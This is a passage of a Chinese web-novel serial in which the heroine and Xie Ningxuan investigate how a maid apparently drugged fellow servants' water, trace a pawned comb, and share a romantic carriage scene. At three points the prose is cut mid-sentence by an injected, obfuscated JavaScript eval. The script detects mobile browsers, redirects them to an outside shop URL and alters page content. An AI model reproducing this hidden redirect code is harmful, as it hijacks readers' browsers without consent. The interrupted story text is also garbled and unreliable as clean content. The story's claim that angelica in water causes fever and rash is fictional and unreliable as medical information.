但谢宁轩悠然笑了,他又得逞了。 环顾一圈环境,他含笑道:“是,如此简陋的环境,确实不适宜谈及终身大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085098|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。待我再寻个合适的机会,认真的问你,好不好?” “好……咳咳……” 我怎么还回答了! 失智,失智! 我赶忙起身,这茶也喝不下了去。索性就朝茶寮另一侧的蒲苇丛走去,让冷风一荡一荡扫到面上,为燃烧的大脑降温。 官道一侧正是深秋画卷,远处巍峨山峰耸立入云,连绵不绝。透过官道旁黄绿交接、风中摇曳的蒲苇丛,隐约可见一面宽广的湖,在夕阳光照下,金光烁烁,波光粼粼。 许是景色宜人的缘故,心绪开阔而松弛,难得理智之舟都没来泼冷水。我起了些兴头,欲往蒲苇丛中再走走,也算这些时日以来为数不多的放松时刻。 但就在迈步之时,耳旁忽地似有警铃作响。 我突然意识到,蒲苇丛……对啊,这就是一片蒲苇丛啊! 这时,谢宁轩也起身来到我身侧,应是又想到了一处,他亦喃喃:“咦,按脚程今晚就能到十里驿,那这,难道就是你当日上京路上,离开十里驿后放飞蝴蝶的地方?” 原主的七个下人是在不到午时被当地官府抓走的。按照时间推算,应该就是原主一行人离开十里驿后不久,原主因为闹着放飞蝴蝶,继而与大部队分开。 当时我根据赶路客的证词推理,在原主的下人被带走时,原主应当就身处一片蒲苇丛中。 莫非此处就是? “可你不是说,当时附近官道上的茶寮小二是一并被带走的吗?那这茶寮,又是哪来的?” 四目相对,我二人都严肃起来。我当先返回到茶寮边,将小二请到一侧,低声问:“小哥,你这茶寮,是不是新开的?” “是啊,夫人怎么知道?” 果然是!那就是说,此小二,非彼小二了? 谢宁轩接着问:“原来那个茶寮,是不是就因附近村子爆发的天花波及而被关?” 小二是个实诚人,马上回答:“是啊是啊,公子也听说了?当时那伙计,不就被带走了吗?官府还特意把茶寮烧了呢!” 说着,许是怕我们担忧,小二又找补,“哦,但二位别怕,咱这是新开的,干净得很!其实这里离那村子有些距离,那伙计也是倒霉!他都够小心了,当时就怕井里打的水有问题,茶寮都不供应茶,光卖包子呢。谁能想到,还是……哎!” 谢宁轩立时朝我看来,眼光交错之间,我们都灵光一闪。没想到,一直困扰着的几个疑点,就在小二无心的说辞中,突兀的解开了。 这里离蒲苇丛,不算远。当时我就怀疑过,为什么赶路客刚刚从茶寮起身,还要到蒲苇丛边休息。 现在我明白了——因为那时,茶寮不供应茶。 那时的小二怕被牵连,借口井水不干净,索性连茶水供应都停了。塞进几个包子的赶路客,越走越渴,才会在离开茶寮后不远,就停下行程,深入到湖边饮水解渴。 所以,原主才能在那时,听到他和友人的议论声,知道不远处有个茶寮;才会一时任性,或者被橙橙指使,赶走其他七人,让他们去茶寮坐着。 第二个疑点,则是原主的态度。 为什么在离开十里驿后,有目击者目睹她一度惊慌,到了东橘村,却已恢复如常,并无异样。 我盯着绵延深长几里的蒲苇丛,心中也有了答案。 112.三里村 从目前得到的描述,不难推出原主的个性,贪玩爱闹、简单纯真,还没有完全长大的小孩子心性。当她兴致勃勃拿着蝴蝶跑入蒲苇丛的时候,她会选择在哪放飞蝴蝶,才能符合她想要的“风景如画的地方”? 仅仅是蒲苇丛中? 不,不够。 她一定会一直往前跑,一直往前跑,直到湖边。身后是绵延望不到头、随风悠扬着的蒲苇丛,面前是在春风吹拂下,波光粼粼、浮光跃金的湖面。此种美景,不正是放飞美丽蝴蝶的绝佳地段吗? 谢宁轩亦颔首:“这也就是官府没有找到她们的原因,因为搜查,也没有那般深入。” 是的,想必深入蒲苇丛中的原主,压根就没听到外面的动静。她根本不知道自己的七个下人遭遇了什么。 她的一度惊慌,显然是玩得尽兴出来后,空落落的茶寮中不见任何踪迹后的茫然失措。情绪很快就变得如常,则是因为她根本不清楚事情的严重性。 这样,她在东橘村说过的一句话也就有了解释——“到了京城见到我爹就有办法了”。 什么办法? 这个傻丫头或许只以为下人跑了或者失踪了,想着到京城求助爹爹寻人即可。 这个时候,我不禁在想,如果当日原主并没有离开大部队去放飞蝴蝶,她的七个下人,还会得天花吗?她们或许早就驾着马车离开了这附近。 那原主,还会在东橘村落水吗?东橘村后就是秋水县,距离京城越来越近了,橙橙,又会施展怎样的招数? 天花,于橙橙而言,到底算不算是个变数? “小姐,怎么没吃点包子?不合口味吗?”见我们凝目站在一旁,贴心的垂云站起身问。 我摇摇头,心里还在琢磨谜团。 垂云低头看看茶碗,又皱眉道:“这茶有些土腥味,小姐可能喝不惯……垂柳,别给水壶灌水了。咱们还是到下榻的驿站,重新装水吧。” 说着,她就朝垂柳走去,我赶忙拦住了。 “哪就这么矫情了,我没事。垂云,你别管我,中午你都没好好吃饭,快去……” 话音一滞,因为垂柳拿着水壶奔了过来。 这一幕落在我的眼中,忽然就没来由的眼睫一跳。 有如幻灯片演示,眼前蹦现出一个画面,虚幻、假想中的画面——七个人围坐在方桌边,将水壶中的水轮流倒到茶杯中的画面。 我不曾经历这一画面,原主亦是。毕竟,当时的她,应该正和橙橙在蒲苇丛中放飞蝴蝶。 但就在这一刻,我几乎可以肯定,这个画面,尽管是我想象,一定真实发生过。因为它就能解释,原主的七个下人,为什么会在茶寮同时发病了。 橙橙,你将毒或者药,下在大家的水壶里了,是不是? 十里驿中,你得知了前有天花的情况,就想出这损招,暗害众人,对吗? 舆图不会标记官道旁的茶寮,而谢宁轩当日派人在十里驿问过,驿卒也没有告知橙橙,前路一两个时辰的马车脚程后就有个茶寮。 也就是说,橙橙不知道路上有歇脚、喝茶的地方。按照正常赶路的逻辑,大家一定会带着水壶,以便路上解渴。 橙橙谋求的,自然就是这些同伴,在天花村附近,出现类似天花的症状,引发恐慌,继而被官府名正言顺的带走。 可问题是,她和原主,也逃不脱啊! 毕竟,原主走到蒲苇丛突然变卦支使开其他人,且安排他们去不远处的茶寮,这是个突发的情况,橙橙不可能事先预料。而从到茶寮之前,一行人无一人出现症状来看,十里驿出发后,要么暂时无人喝水,要么橙橙未在一早就下毒。 但她和原主与大部队分开之前,一定已经下毒了。 因为分开的时段唯有茶寮那一会儿。偏偏那儿,还不提供茶水。 谢宁轩听我说完,赞同曰:“虽不能确定橙橙用了什么,但如当归一味,大量投放于水中饮下,便会很快引起发热与红疹症状。这就导致那七个人,在茶寮中喝着水壶中的水,就齐齐中招。” “这出乎橙橙预料了,是不是?” “嗯。”谢宁轩沉沉道,“从你们事后的表现来看,恐怕她一早设想,并非这样。” 那橙橙,到底原本是如何谋划的? 我与谢宁轩相对而立,静静的看着对方。在四目相对的眼波流转中,慢慢推演出来了。 橙橙恐怕是计划在行进到中午时,一行人停车吃饭,自然得指望自带的水壶。她只需要给每个人都倒上水,自己不喝即可。 等大家出现症状,她自己跑掉,让包括原主在内的所有人被人心惶惶、风声鹤唳的官府一起误当成天花带走。 但没想到,原主的一时兴起,将计划改变了。 那时,她已经下了药,却只能眼睁睁看着药壶远离。当时的她,恐怕想不到,茶寮居然没有茶,以致另七人闲坐休息喝了那壶水。 喝早了。 那七人果然如同她的设计,真的被抓走了。 可目标人物原主,却牢牢的和她在一起。此时惊动官府,她自身也难保。这也就是她没有声张,先带着原主离开并安抚原主,日后再图谋的原因。 眼看快到京城了,橙橙无法,便索性采用了最简单的推下水的方法——我是穿越了,但其实,原主的确被她害死了。 如果这个猜测是真的,那就说明橙橙在十里驿得了消息后,短短一晚就拟好了计划……此人心计不可小觑。 可正如我之前想不通的,那为何不早些动手,为何非要与天花扯上关系?这玩意可不听人控制,万一她没躲好,在原计划中被波及,可怎么办? 谢宁轩对此亦不置可否,只道,或许到十里驿,会有新的发现。 然而我们接连在十里驿住了两晚,与所有的驿卒都聊了之后,却再无新的线索。我很失望,也越发心焦,担忧起这趟行程,达不到最终目的,还打草惊蛇。 谢宁轩却认为,既然幕后黑手对付我的方式仍是骗我回金华,就说明远至京城,分散如漫漫上京路,幕后黑手也没有旁的法子,能稳妥而隐秘的行凶。 或许,他在金华的确势力不小,却绝对没有能力,在这一路的每个村镇,都安排一双眼睛。 我们一路的查问,不必担心被他知晓而有所行动,反向,也不用怀疑,他早有大手笔,能抹杀掉每个无辜路人的记忆。 这个判断,在我们之后抵达一个叫三里村的小村庄时,也的确到了印证。 那时已进入初冬时节,官道两旁的景色都由金黄的丰收裕满,变为冷清的肃杀。与环境截然相反的则是,我们的车队,却自谢宁轩抵达之后,好似开启了另一种画风,整体朝夕阳红旅行团发展。 这固然有他带来祖母信件的缘故,不必担忧祖母安危,我们南下的速度也放缓,时不时可以停下赏景小憩,松快许多。 更多则在于,谢宁轩身上散发的靠谱领导气质,实在让人觉得,跟着他走,万事无忧。 这不,邓科再也不用费心部署防卫,直接执行谢宁轩的命令,用最少的人次完成最固若金汤的安保。垂云垂柳再也不用盘算路程远近,担忧小姐疏忽,导致晚上又睡马车或者破庙。 我呢,也不用费神去瞧那语焉不详的舆图,把古代地名换算成后世城市名儿,吃力的回想路程远近。遇到县城守卫盘问,也无需掏出郡主赠与的令牌,狐假虎威了。 当然,因着我心里有事,总也无法像垂云垂柳那样,真把这趟行程变为轻松一游。谢宁轩看在眼中,每每安抚,效果也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093356|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽如他意。 这日傍晚,我们抵达三里村时,见我仍是心事重重,谢宁轩便给垂云垂柳使了眼色,不必收拾包袱,只专心转移我注意力就好。 刚好,客栈对面,正有一家“贾氏当铺”,门口两个伙计,将一篮子物什倒在当铺门口的台子上,草草扫开摆放,旁边挂上了个牌子。 一个拍了拍手,说:“行了,这些处理掉,就和以前的铺子无关了。贾掌柜死了三个月,咱也不算对不起他。承下店名不变,希望生意能像老贾在时那么红火。” “老贾能行,也是因为有个过目不忘的伙计伊大眼,可惜他跟老贾前后脚……哎。我说咱们呀,最好也能找个见多识广的掌眼才好。” “行吧,慢慢来吧。” 说着,二人便一道进了铺子。 垂柳好奇心重,立即挽住我的胳膊,拉着我凑上前看热闹:“小姐,走走,咱们去瞧瞧,这是展览什么东西呢?” 垂云则盯着旁边的牌子读出:“死当结束日,五天。哦,这些都是到了时间没赎回也没续当的物件。当铺展出来,一是提醒典当人时间要到了,二来也提前寻寻买家。” “典当物呀!”垂柳一目十行阅览完台子上的物什,嘟嘟嘴,“这都什么破玩意,也能卖出去?” 一本卷了边的《诗经》,一支成色不咋地的蓝玉簪子、一盒看不出质地的黑白棋子……确实算不得贵重东西。 垂云耸耸肩:“在这贫瘠的村中,这些估计已经算是好东西了。” 我本就懒洋洋,打眼一瞧更是兴致缺缺。然而目光落在右下角一只黑色的梳子上时,没来由,心口兀地一震,眼前映现出一段画面—— “你把梳子装好!下回可别掉湖里了!这次我能帮你捞着,多亏水下有着荷叶,它掉到荷叶上了!下回可就没那么好运啦!” 一个窄袖短袄的麻花辫姑娘捧着梳子哭泣:“多谢小姐!多谢小姐!天哪,这可是奴婢的娘留给奴婢唯一一件东西了!吓死奴婢了!” 姑娘抬起头来,泪水潸潸直下。 我像被人打了一拳,或者说,是这段突兀、清晰,却又完全不属于我的记忆画面,将我震惊到僵立。 刹那间,我就被动的、明确的意识到,眼前画面里这个人,就是橙橙! 天哪,这是原主的记忆片段! 自我穿越来,原主没有给我留下一丁点记忆,无论是面对二公子,还是老爹,无论我如何绞尽脑汁,总也是陌生而空洞的。 这是第一次,第一次,我竟接受到了来自她的信号! 因为什么,这把梳子——天哪,这是橙橙的梳子! 我激动又悚然的拿起它,手指克制不住的颤抖。 触感冰凉中,脑海片段越发清晰。 不同于寻常的装饰,这梳子上刻着几只桃仁。我摸着它的纹理,边缘磕碰的凸起,越摸就越确定,这的确是橙橙的物件。 橙橙,橙橙……她们果然走过这段路,果然来过这个村子。可是亡母遗物,为什么会出现在这家当铺中? 这时,当铺伙计也注意到了门外的动静,一人出来张罗道:“呦,客官看上什么了?梳子呀?好眼光,这可是玳瑁做的,很耐用!您瞧这儿……” 我打断了他的推销,努力压住飘忽的声音:“这、这可是一位姑娘典当的?” “啊?客官问这作甚?” 我拢了拢耳旁的碎发,故意问道:“你没见过我吗?这好像是我典当的。” 伙计被我搞糊涂了,啧啧一声:“你自己典当的自己不知道,还来问我?莫名其妙。咋,你是来赎回的?单子带了没有,进来吧。” 他不认识我。 怎么回事?橙橙典当的时候,原主不在跟前?这是橙橙背着原主典当的? 113.面善 “哦,那个,”我马上换种说辞,“这是我让丫鬟典当的,但我忘记是哪个丫鬟了,估计单子也在她手里呢。你能不能告诉我,典当人的长相?” 小伙计彻底不耐烦了,挥手就赶我们走:“走走走,在这捣什么乱!什么这个丫鬟那个丫鬟的!快点,快走!” 谢宁轩正在对面客栈安排住宿,闻得动静立即就出来了,后面跟着邓科,把手伸到了佩刀上。 小伙计应是瞅到了这一幕,吞口水有些紧张:“你、你们是什么人?趁火打劫呐?铺子刚换新主儿,就来捣乱!我们兄弟俩可不是好欺负的!” 说着,他就要进门找帮手。 我赶忙从怀中掏出银子,解释道:“小哥莫误会,我真是来赎回它的,只是不能确定,这东西是不是我记忆中的那个。这样,既然是死当,算我买了它,行吗?这钱都给你,都给你。你只需要告诉我,典当人的长相、日期,当时身旁有谁,说过什么话就行。” 我没理身旁几人投来各异的眼神,谢宁轩是探究的,垂柳则撅着嘴,明显觉得一锭银子买把旧梳亏了。 “哦,我问这些,只是怕赎错了,丫鬟只告诉我在这附近典当了,可没说具体铺子。我怕搞错,这才多问几句。”我又找补了一句。 小伙计看到银子,火就消了一半。一听这话,更是立马拍胸脯:“没错,没错,要说是这附近当的,那只能是咱们家了!这十里八村的,就我们一家当铺!” “那好呀,看来没错。只是你们开门做生意的,也不可能只收一把梳子,谁知道这段时间有没有收别人的呢?免得搞错,你就帮我回忆回忆呗。”我又换种说辞。 小伙计手都伸出来,打算接我的银锭了,却又突然顿住。 “哎呦,那可麻烦了。我们新接手铺子,哪里知道过去当物的情况呀。” “那原来的伙计,哦,或者掌柜,还能找到吗?” “这……”小伙计搔搔头,脸色有些难看,“不瞒客官说,就因这铺子主仆二人仨月前接连去世,这旺铺才会盘出,才能让我兄弟买下呀。” “主仆全死了,怎么死的?”垂云咂舌。 “意外,都是意外。哎,世事无常嘛。”小伙计摊摊手。 谢宁轩听明白了,提出:“你们虽是新接手店铺,毕竟涉及赎回,之前掌柜应该留下记录了吧?至少会有典当期、赎回价等情况。” “对哦!记录!”小伙计一拍脑门,跳起来,三两步进铺子拿出一本账本,草草翻了起来,“叫我看看……嗯,不是这个,不是这个……这个,哦,是它!嘿,还真是伊大眼收的!呐,客官看这里,这儿记载了,二月十二日,价五百文,当半年,赎回价六百文……没旁的信息了。” 垂柳歪歪头:“赎回价倒没高太多,还不算太黑心。” 我的关注点却落在了“当半年”。 现在都进十月下旬了,距离原主上京,过了八个月。这物件却是当了半年的,这是怎么回事? 祖母信中曾说,原主离家时带着不少银票,都由橙橙保管。何况,王宅给的工钱本就不低,她也无需依靠典当亡母遗物度日。 我越发困惑,对橙橙这个人的刻画,边缘也越来越不清晰。 好不容易找到关键性线索,竟还唤起封存在这具身体中的记忆,突破点却戛然中断。当铺原掌柜和接收了梳子的伙计,怎么就偏巧去世了呢? 难道,难道是因为橙橙? 我心猛地一沉。 幕后黑手还是追到了此处,并除掉了关键的证人? 一瞬间,脑后冷风飕飕的吹,鸡皮疙瘩全起来了。恐惧感比当初在江瑟楼还强烈。 迷雾森森,远比明确的敌人与杀机更可怕。 一向能看穿我的谢宁轩,这次也没错过,他冷静道:“不会,不会和你遭遇的事有关。羽书,你细想,如幕后黑手真能神通广大,手伸到这么远的小村庄除掉两人,那橙橙这把梳子,还能被你看到吗?” 谢宁轩有条不紊的分析,给予我不少安全感,令我逐渐找回些许理智。 是,他说的没错。 这把梳子我已细细看过,普普通通,刻画纹理都没有任何玄机。桃仁也就是桃仁,没有旁的多余笔触。 而这段时间,我也了解清楚了原主的性情,绝不是追根究底、喜爱查案之人。那么,当与祖母感情极深的她收到病危信件,南下的路线一定是水路或者徽州、南阳一路。 也即,回程,她根本不会经过这三里村,也根本没有看到梳子、与当铺掌柜交流的机会。 幕后黑手压根没必要下毒手。 其次,掌柜主仆意外去世的时间,既不在原主落水前后,也不在我此次南下之前,如此孤立的时间线,也确实难和原主落水扯上关系。 看来只是巧合了。 想通关窍,心头大石也移除了。我朝谢宁轩笑笑,真心感谢他每个关键时刻的点拨。 谢宁轩旋起梨涡,将桌上的饭菜往我面前推推。此时,我们已经回到了今晚下榻的客栈,正在大厅中吃晚饭。 “你的脸色还不太好,先喝碗热汤吧。别看没什么客人,味道还不错呢。”谢宁轩柔声道。 我盯着眼前冒着热气的碗,勉强拿起勺子。这时,坐在我身旁的垂云忽然凑近脑袋:“小姐,那个小二为什么一直盯着你看啊?” 谢宁轩立马侧头去瞧,正遇上小二的目光。后者憨憨一笑,低下了头。 垂云对面的邓科也听到了,他戒备心重,起身就喝:“喂,做什么盯着二小姐看?少生坏点子,别以为我们住你家客栈,夜晚就敢作乱!” 那小二吓坏了,连连摆手自证清白:“哪、哪能啊,咱这是正经生意!小的盯着这位小姐看,只是、只是觉得面善啊!” 面善?他见过我? 诶,对呀!这家客栈就在当铺对面,如橙橙在此典当,或许当日原主一行人,也在这客栈下榻过。 踏破铁鞋无觅处,我这不正愁找不到目击者呢嘛! 我登时又激动了,忙示意邓科放轻松,自己个儿上前追问:“小哥,你之前见过我?在哪,就在客栈中吗?” 小二扁扁嘴,委屈的解释:“可不就在这客栈吗?看您眼熟,是来我们这儿住过吧?咱这生人不多,遇到格外富贵的,小人都有印象。不过您当时……”小二搔搔头,“身旁好像不是这些人……小人拿不准,才多瞧了几眼嘛。” “对对,我当时身边有四个丫鬟,四个小厮,是不是?其中有个叫橙橙的,有印象吗?尖下巴,麻花辫,嘴角有颗痣,和我差不多高?” 小二“嘶”了一声:“您说的就是去了当铺的那位姑娘嘛!” 当铺,这他也知道! “她当了梳子,是不是?” “额,当了什么,这小人哪能知道。”小二堆上笑容,“只是你们那晚住在客栈,夜里,唔,大概三更吧……小的收拾收拾准备睡了,看见那位姑娘在后院坐着发呆。是她主动问小的,对面的贾氏当铺开了多少年,靠不靠谱,会不会吞了客人的典当物之类的。” 看来橙橙很在意当铺信用。也对,当半年就说明了,她将亡母遗物暂时典当,之后是计划赎回的。可半年期已过,她却没有来。 这是否代表着,她已经无法来了? 但我还是想不通,她为何要在此典当?这里在十里驿以南,她还不知天花的消息。难道她认为自己之后下手害人,或许也会受牵连,想通过典当来保住梳子? 小二见我没说话,继续讲述道:“第二天一早,贾氏当铺刚开门,那姑娘就进去了。当时您和其他人,不都还没下楼吗?之后用了早饭,你们就又上路了嘛。” 这么说,橙橙果然是有意避开其他人进行的典当。 奇怪,这举动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104636|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真奇怪。 谢宁轩在我起身后,也跟着走来。此刻认真听完,他眯了眯眼,追问起对面当铺易主的缘故。 小二来了兴致,“嘿”一声打开话匣子,讲述了好一番曲里拐弯的故事,都能赶上话本了。 语毕,谢宁轩朝我递来个眼神。这故事主角的确遭遇意外,与橙橙和原主一行并无关系。 我松了口气。 确认幕后黑手的本事没那么大,可算是个好消息。 然与此同时,糟糕的却是,这是我们南下,找到的最后一条关于橙橙的线索。 三里村后,不乏有人对我的长相还有印象,提起橙橙也能说道说道,却也只围绕着“哦那一行人不少”“听说是上京去”“那位小姐好生活泼”,再无翔实、深入的认知。 *** 随着南下行程的深入,冬日时光也变得难熬起来。冷气洗礼,垂云垂柳不敢再坐到马车梆子上悠闲赏景,就连偶尔掀开帘子,都被冷风吹的直打哆嗦。 如此一来,行程就算没有疾驰必要,也被动的提上了速度。 刚好,谢宁轩那厢,南下还背负着任务,也实在不易拖久。 自十里驿开始,每个驿站中,他也都会往南边寄信,时不时收到最新汇报,显然派去的人一直在监视那名关键人证,等着他的到来。同样,京城的来信也偶尔抵达,有刑部的卷宗奏折,亦有三殿下传递来的更新消息。 可这样的节奏,就苦了垂云垂柳,每天都窝在马车中,蔫蔫打不起精神。 我心有愧疚,觉得拖累了她们,便时常将现代一些小说桥段当做说书内容讲给她们,聊以打发时间。 可惜啊,这俩深受封建男尊女卑思想荼毒,我的故事每每被评判一番,搞得我甚是郁闷。 我讲到兴头上:“她裹着军服,将胸脯使劲压了压,深吸一口气,迈出了军营帐篷,准备参加第一次训练……” 忽然被人打断—— “这怎么行!女儿怎么能上战场?” “就是,这要耽误行军的!” “那军队都是男人,这……她也太不守妇道了!” 这是讲《花木兰》。 我讲到兴头上:“她的长发束了起来,多年来的夙愿即将成真,深吸一口气,迈进了考场,准备参加科举考试……” 忽然被人打断—— “参加科举?女人怎么能参加科举?咱们大青朝可没有!” “官场那是爷们儿的天下,女子搞什么乱啊!要不前同覆灭了呢!” “那官爷都是男人,这……她也太不守妇道了!” 这是讲《女驸马》。 我讲到兴头上:“她穿着明黄色、象征着帝王之色的龙袍,深吸一口气,迈近那万人争抢的宝座,准备接受第一次朝觐……” 忽然被人打断—— “小姐又胡说八道,三皇五帝那是男儿,女人至多是皇后嘛。” “不对不对,还有太后呢!哦哦还有太皇太后呢!” “那皇帝都是男人,这……她也太不守妇道了!” 这是讲《武则天》。 啊啊啊啊!你们俩没救了!思想落后、封建迷信、深受荼毒、固步自封! 最过分的是,每次都在关键时候打断我!气死我了! 两个丫鬟叽叽喳喳批判我,就差现场背诵《女训》《女则》了。我嘿嘿一笑,让你们妇德妇道,那我接下来就讲《金瓶梅》! “那美妇将三寸金莲抬起,轻轻掀起裤脚,只见一片白皙皮肤……” “啊,小姐!快别说了!”垂柳压住耳朵,缩着双臂,唯有喉咙压不住兴奋的尖叫。 “小姐好坏!”垂云用帕子轻轻甩我,面色红晕,一双眼睛却是流光溢彩。 我的笑容越发猥琐,压低了声音煞有介事:“西门庆咽了口水,探出手朝那凝脂伸去……” 114.解签 “羽书,到……” “啊!” 马车里爆发出两声尖叫,差点刺穿我的耳膜。 “怎么了!”谢宁轩声音拔高。马车梆子一震,应是他跳了上来,下一秒,他就掀开了帘子。 入目,却是垂云垂柳一个抱着我的胳膊,一个钻进我的怀里,脸红扑扑、眼神闪躲。 谢宁轩都方了,一头雾水:“怎么了这是?” 嗨,怪我,讲故事讲的太认真,都没意识到马车停了下来。哦,你问她俩?那还用说?害羞呗! 我暗暗发笑,抽出胳膊向前探身:“到了吗?到金华了?” 谢宁轩何等聪明,只又瞟一眼她俩便隐隐猜到了,好笑的摇摇头,指向一旁界碑:“进入金华地界了。羽书,有个事儿,我得同你商量商量。” 垂云垂柳一听这话,也不顾脸上的红晕没褪,当即跳下马车。 谢宁轩上来后,将马车帘放下。外面冷空气被隔绝的瞬间,车内温度,也开始飙升。 我闪躲着眼神,不敢直视他。 好在,谢宁轩谈论的是正事。他先是露出些许歉色:“羽书,虽到了金华,我仍有封要紧的信需要寄出,得拐去城外驿站一趟。如此一来,再赶回王宅,或要入夜了。” 天寒地冻,马车轱辘昨夜上冻,今早处理花费了些时间,本就使得行程拖后。此刻,天边已然升起了晚霞。 若是回到王宅已入夜,岂不是要扰了众人好眠?祖母信中似乎也提过,她一向早睡…… “那不如我自己回吧,反正也到金华了,我……” 谢宁轩却不同意,斩钉截铁:“不行,我不放心。羽书,越到金华,危险才越近,我必得亲自将你送回,且要好生查问查问,才妥当。” 心下一暖,羞赧和欢愉都冒了出来,我都没意识到,自己竟揪着帕子扭捏的问:“你、你在王家,可怎么能查问嘛,又不是你京城府衙管辖的范围。” 谢宁轩前倾几分,勾了勾嘴角:“我凌轩,不正是羽书小姐的贴身护卫吗?跟着进入内宅查问,也不是不行吧?” 我因“贴身”二字打了个激灵,忙深呼吸,制止疯狂上涌的血液。 谢宁轩竟还不罢休,又追近一步,语带委屈:“一车的话本我都看完了,羽书好狠心,真是一点都不心疼我。” 我大窘,连忙往后缩,可身后就是马车壁,退无可退了。 “你、你,你好好说话,别、别这样……” “怎样?”谢宁轩歪歪头,说不清是刻意还是无辜,“我说的不是实话?” “你、你再这样,我下车呀!” 谢宁轩伸手拦住,这才正色道:“好好。那还是一道走吧,安全些。今晚先赶去寄信,那驿站背后是金华颇有名气的红觉寺,也可方便借宿一晚。明早,再回王宅。可好?” “嗯,行吧。” 见我应了,谢宁轩又凑近两分,幽幽道:“这一路,羽书总是不肯和我同乘,也就偶尔谈论案情,才勉强来坐坐。要不是林二小姐准备的一车绘本,我这日子可难熬了。眼看这就要抵达了,你真不心疼心疼我?” 我的脸唰一下又通红了! 这个家伙,不正经,又不正经了! 我用手臂撑住马车座就要起身,却被谢宁轩拉住胳膊,重心一歪,就跌入他的怀中。 “谢宁轩,你……” 他却没有旁的动作,只是将下巴抵在我的颈窝。 “羽书,我担心,我真的担心。”他沉沉地说,不再带有任何调侃。“金华不是净土,王宅内宅,我身为男子,恐怕无法久呆。空有官身,若都无法护你周全,我该怎么办?羽书,我真的怕……” 心口柔柔,我紧绷的神经也放松下来。伏入他怀中,我轻声道:“不,不会的。你相信我,我能保护好自己。” “可敌暗我明,幕后之人到底什么身份背景,有多大能量,我们尚不清楚。邓科带队,也顶多在外围守护。内宅中,他若能玩弄心机,我怕……” 我伸手环住了他的腰。 丝丝颤抖,他的话音并不平静。他越紧紧的抱着我,我就越能感到他的恐惧。 是什么驱动了我的心,我自己也说不清楚,但这一刻,我只想用自己的力量,安抚我的爱人。 我伸手捧起了他的脸,看他幽黑深邃的眸,高挺英气的鼻梁……目光渐渐下移,他的唇红润饱满,像一口散发着奶油香味的泡芙,等待着品尝。 我没有犹豫,吞下了这口美味。 谢宁轩拥着我,不消一两分钟,他已反客为主,深深吻了回来。吻势愈盛,他的舌头长驱直入,气息满满的罩着我,我沉浸在他的味道中,酥麻战栗。 过了几许,他的吻又慢慢变得温柔,细细密密。 头皮发麻,是我再一次理智的瓦解,无可救药的心中呢喃,停下来,停下来吧,时间啊,就停在这一刻。 万事万物,都抛诸于脑后。 天地之间,只存我们二人。 *** 红觉寺位于金华城北,供奉着求子观音,香客众多。 我们抵达的时候,寺外正有支车队停留,下人叫着:“白府贵人离寺,让开,都让开!”零零散散一些步行的香客,不情愿的让开道路,嘴里嘟囔着。 好一副热闹场景,当然,比起京城鼎鼎大名的锦业寺,还是相形见绌。 这不,等到我们安顿下来,寺中已静逸无声。唯有几个厢房有人留宿。 “小姐,厢房还挺干净,不用打扫了。那我去端点饭来?”垂云环顾一圈。 垂柳还惦记着包袱里的肉饼,嗫嗫问:“住寺里,是不是肉饼也不能吃了?昨天晚上买的,再放,怕是要坏了!” 垂云浅笑道:“坏就坏了呗,今晚就吃点素斋得了。” 垂柳撅嘴,朝我投来可怜巴巴的小眼神。我知这一路南方饮食口味不和,她许久都没遇到可口的饭菜,要扔掉喜欢的肉饼,确实可惜。 “好,那你就去寺外的马车上吃吧。” 垂柳高兴的直咧嘴,抓起肉饼就跑了。 “诶诶!带上水壶!不嫌噎得慌啊!” “不嫌!” 奔跑出撒欢的气质,她这是真饿了。 我和垂云都好笑的直摇头,索性也不去打饭,手挽手去饭堂用餐。路过的小沙弥很热情,不仅指路,还介绍了对面一排的静心堂,推荐我们去跪经,说心想事成,求啥灵啥。 这也太唯心主义了,我耸肩不信。垂云亦将信将疑:“不是供奉的观音大士吗?若求的是旁的,还能应允?” 小沙弥憨憨一笑:“二位女客求得无非姻缘与家宅安宁,观音大士当然灵啦。” 嗬,谁说女性就得求平安与姻缘啊,老娘就要求财,怎么地。 许是看我漠然,小沙弥瞪圆了眼睛:“真的呀!就咱们金华最大的白家,那二夫人每个月都来静心堂跪经两个时辰呢! 还有王家,也有位夫人常来! ” 王家?这说的是原主家吗? 我随意想了想,也没放在心上。依旧关注饭堂位置,填饱肚子才是正事嘛。 垂云却转了转眼珠子,附耳提示我:“小姐,你还记得你从锦业寺求的签吗?不是一直没解吗?不如问问这里的和尚?” “签?” 对哦,我还求了个签……带出来了吗? 垂云像个机器猫,唰一下就从怀中掏出佛签来,看的我目瞪口呆。 “你咋连这都带上了?” “这是个中签,我怕预示不好,想着有机会还是要化解一二,所以就带来了。” 